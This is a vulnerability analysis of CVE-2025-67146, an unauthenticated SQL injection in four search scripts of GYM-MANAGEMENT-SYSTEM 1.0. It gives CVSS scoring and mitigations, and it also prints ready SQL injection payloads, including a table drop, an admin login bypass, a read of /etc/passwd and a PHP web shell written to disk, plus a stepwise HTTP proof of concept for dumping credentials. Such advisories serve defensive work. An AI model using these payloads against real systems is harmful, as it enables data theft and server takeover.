Comprehensive Technical Analysis of CVE-2025-67146

CVE ID: CVE-2025-67146 CVSS Score: 9.4 (Critical) Affected Software: AbhishekMali21 GYM-MANAGEMENT-SYSTEM 1.0

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1. Vulnerability Assessment and Severity Evaluation

Vulnerability Type:

CVE-2025-67146 describes multiple unauthenticated SQL Injection (SQLi) vulnerabilities in the GYM-MANAGEMENT-SYSTEM 1.0 application. The flaws exist in four distinct PHP scripts due to improper input validation and lack of parameterized queries.

Severity Justification (CVSS 9.4 - Critical):

The CVSS v3.1 scoring breakdown is as follows:

• Attack Vector (AV:N) – Network (exploitable remotely)
• Attack Complexity (AC:L) – Low (no special conditions required)
• Privileges Required (PR:N) – None (unauthenticated)
• User Interaction (UI:N) – None
• Scope (S:C) – Changed (impacts confidentiality, integrity, and availability of the database)
• Confidentiality (C:H) – High (full database access possible)
• Integrity (I:H) – High (data manipulation possible)
• Availability (A:H) – High (database corruption or deletion possible)

The critical severity stems from:

• Unauthenticated access (no credentials required).
• Remote exploitability (attacker can execute SQLi over HTTP).
• High impact on confidentiality, integrity, and availability (CIA triad).
• Low attack complexity (standard SQLi techniques apply).

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2. Potential Attack Vectors and Exploitation Methods

Attack Vectors:

1. HTTP GET/POST Requests – The vulnerable parameters (name, id) are exposed in web requests, allowing attackers to inject malicious SQL payloads.
2. Unauthenticated Access – No session or authentication is required to exploit these endpoints.
3. Database Backend Exploitation – Depending on the DBMS (e.g., MySQL, PostgreSQL), attackers can:
   • Extract sensitive data (e.g., user credentials, payment records).
   • Modify or delete database contents.
   • Execute arbitrary commands (if the DBMS supports it, e.g., xp_cmdshell in MS SQL).
   • Bypass authentication (e.g., by manipulating login queries).

Exploitation Methods:

a) Classic SQL Injection (Error-Based/Union-Based)

Attackers can craft malicious input to manipulate SQL queries. Example payloads:

-- For 'name' parameter (member_search.php)
' OR '1'='1' --
' UNION SELECT 1,username,password,4,5 FROM users --

-- For 'id' parameter (payment_search.php)
1; DROP TABLE payments --
1; SELECT * FROM information_schema.tables --

b) Blind SQL Injection (Time-Based/Boolean-Based)

If error messages are suppressed, attackers can use:

-- Time-based blind SQLi
' OR IF(1=1,SLEEP(5),0) --
' AND (SELECT SUBSTRING(@@version,1,1))='5' --

c) Authentication Bypass

If the application uses SQL-based authentication, an attacker could log in as an admin:

username=admin' -- &password=anything

d) Data Exfiltration

Attackers can extract data via:

' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables --
' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='users' --

e) Remote Code Execution (RCE) (If DBMS Permits)

If the database runs with high privileges (e.g., MySQL with FILE privilege), attackers could write to the filesystem:

' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5 --
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4,5 INTO OUTFILE '/var/www/html/shell.php' --

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3. Affected Systems and Software Versions

Vulnerable Software:

• Product: GYM-MANAGEMENT-SYSTEM
• Vendor: AbhishekMali21 (GitHub)
• Version: 1.0 (all instances)
• Components Affected:
  1. member_search.php (name parameter)
  2. trainer_search.php (name parameter)
  3. gym_search.php (name parameter)
  4. payment_search.php (id parameter)

Underlying Technologies:

• Backend: PHP (likely using raw SQL queries without prepared statements).
• Database: MySQL/MariaDB (default for such applications).
• Web Server: Apache/Nginx (common for PHP deployments).

Deployment Scenarios:

• Local Gym Management Systems (small businesses, fitness centers).
• Educational/Testing Environments (due to open-source nature).
• Potential Cloud Deployments (if exposed to the internet).

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4. Recommended Mitigation Strategies

Immediate Remediation (Short-Term):

1. Input Validation & Sanitization

   • Implement strict input validation (whitelisting allowed characters).
   • Use PHP’s filter_var() or regex filtering for parameters.
   • Example:

     $name = filter_var($_GET['name'], FILTER_SANITIZE_STRING);
     

2. Parameterized Queries (Prepared Statements)

   • Replace raw SQL queries with prepared statements using PDO or MySQLi.
   • Example (PDO):

     $stmt = $pdo->prepare("SELECT * FROM members WHERE name = :name");
     $stmt->execute(['name' => $name]);
     

3. Disable Error Messages in Production

   • Prevent database error leakage by setting:

     ini_set('display_errors', 0);
     error_reporting(0);
     

4. Web Application Firewall (WAF) Rules

   • Deploy a WAF (e.g., ModSecurity, Cloudflare) with SQLi protection rules.
   • Example ModSecurity rule:

     SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Attempt'"
     

5. Least Privilege Database Access

   • Ensure the database user has minimal permissions (no FILE, ADMIN, or DROP privileges).

Long-Term Mitigations:

1. Code Audit & Secure Development Practices

   • Conduct a full security review of the application.
   • Adopt OWASP Top 10 guidelines (e.g., A1: Injection, A3: Sensitive Data Exposure).
   • Use static/dynamic analysis tools (e.g., SonarQube, OWASP ZAP).

2. Regular Security Updates

   • Monitor for vendor patches (if available).
   • Consider forking and maintaining a secure version if the original project is abandoned.

3. Network-Level Protections

   • Restrict access to the application via IP whitelisting or VPN.
   • Disable directory listing in the web server.

4. Database Hardening

   • Encrypt sensitive data (e.g., passwords with bcrypt).
   • Enable database logging for forensic analysis.

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5. Impact on the Cybersecurity Landscape

Broader Implications:

1. Increased Attack Surface for Small Businesses

   • Many gyms and small businesses use off-the-shelf management systems like this, often without security reviews.
   • Unauthenticated SQLi makes them low-hanging fruit for attackers.

2. Rise in Automated Exploits

   • Tools like SQLmap can automatically exploit such vulnerabilities.
   • Botnets may target vulnerable instances for data theft or ransomware deployment.

3. Supply Chain Risks

   • If this software is embedded in other products, the vulnerability could propagate.
   • Third-party integrations (e.g., payment gateways) may be compromised.

4. Regulatory & Compliance Risks

   • GDPR, CCPA, HIPAA violations if personal data (e.g., member records) is exposed.
   • PCI DSS non-compliance if payment data is leaked.

5. Reputation Damage

   • Businesses using this software may face trust erosion if breached.
   • Legal liabilities if customer data is stolen.

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6. Technical Details for Security Professionals

Vulnerability Root Cause Analysis:

1. Lack of Input Sanitization

   • The application directly concatenates user input into SQL queries without validation.
   • Example vulnerable code (hypothetical):

     $name = $_GET['name'];
     $query = "SELECT * FROM members WHERE name = '$name'";
     $result = mysqli_query($conn, $query);
     

2. No Prepared Statements

   • The code does not use parameterized queries, making it susceptible to SQLi.

3. Error-Based Information Disclosure

   • If database errors are displayed, attackers can enumerate schema via error messages.

Exploitation Proof of Concept (PoC):

Step 1: Identify Vulnerable Endpoints

GET /member_search.php?name=' HTTP/1.1
Host: vulnerable-gym-system.com

• If an SQL error is returned, the endpoint is vulnerable.

Step 2: Extract Database Schema

GET /member_search.php?name=' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables -- HTTP/1.1

• Lists all tables in the database.

Step 3: Dump Sensitive Data

GET /member_search.php?name=' UNION SELECT 1,username,password,4,5 FROM users -- HTTP/1.1

• Extracts usernames and passwords (if stored in plaintext or weak hashes).

Step 4: Authentication Bypass (If Applicable)

POST /login.php HTTP/1.1
Host: vulnerable-gym-system.com
Content-Type: application/x-www-form-urlencoded

username=admin' -- &password=anything

• Logs in as admin without a valid password.

Detection & Forensic Indicators:

1. Web Server Logs

   • Look for SQL syntax errors or suspicious parameters (e.g., ' OR 1=1 --).
   • Example log entry:

     192.168.1.100 - - [12/Jan/2026:10:20:30 +0000] "GET /member_search.php?name='%20UNION%20SELECT%201,2,3,4,5-- HTTP/1.1" 200 523
     

2. Database Logs

   • Unusual SELECT, INSERT, or DROP queries from the web application user.

3. Network Traffic

   • Repeated HTTP requests with SQL keywords (UNION, SELECT, DROP).

Recommended Security Testing Tools:

Tool	Purpose
SQLmap	Automated SQLi exploitation & data extraction.
Burp Suite	Manual testing of vulnerable parameters.
OWASP ZAP	Automated vulnerability scanning.
Nmap (NSE Scripts)	Detect SQLi via http-sql-injection.
Metasploit	Exploit modules for post-exploitation.

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Conclusion

CVE-2025-67146 represents a critical unauthenticated SQL Injection vulnerability in the GYM-MANAGEMENT-SYSTEM 1.0, allowing remote attackers to extract, modify, or delete database contents without authentication. The high CVSS score (9.4) reflects its ease of exploitation and severe impact.

Key Takeaways for Security Teams:

✅ Immediate patching (if available) or mitigation via prepared statements. ✅ Network segmentation to limit exposure. ✅ WAF deployment to block SQLi attempts. ✅ Database hardening (least privilege, encryption). ✅ Monitoring for exploitation attempts (logs, IDS/IPS).

Given the prevalence of similar vulnerabilities in small-scale management systems, organizations should proactively audit third-party software and enforce secure coding practices to prevent such flaws.

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References:

• MITRE CVE-2025-67146
• OWASP SQL Injection Prevention Cheat Sheet
• NIST CVSS Calculator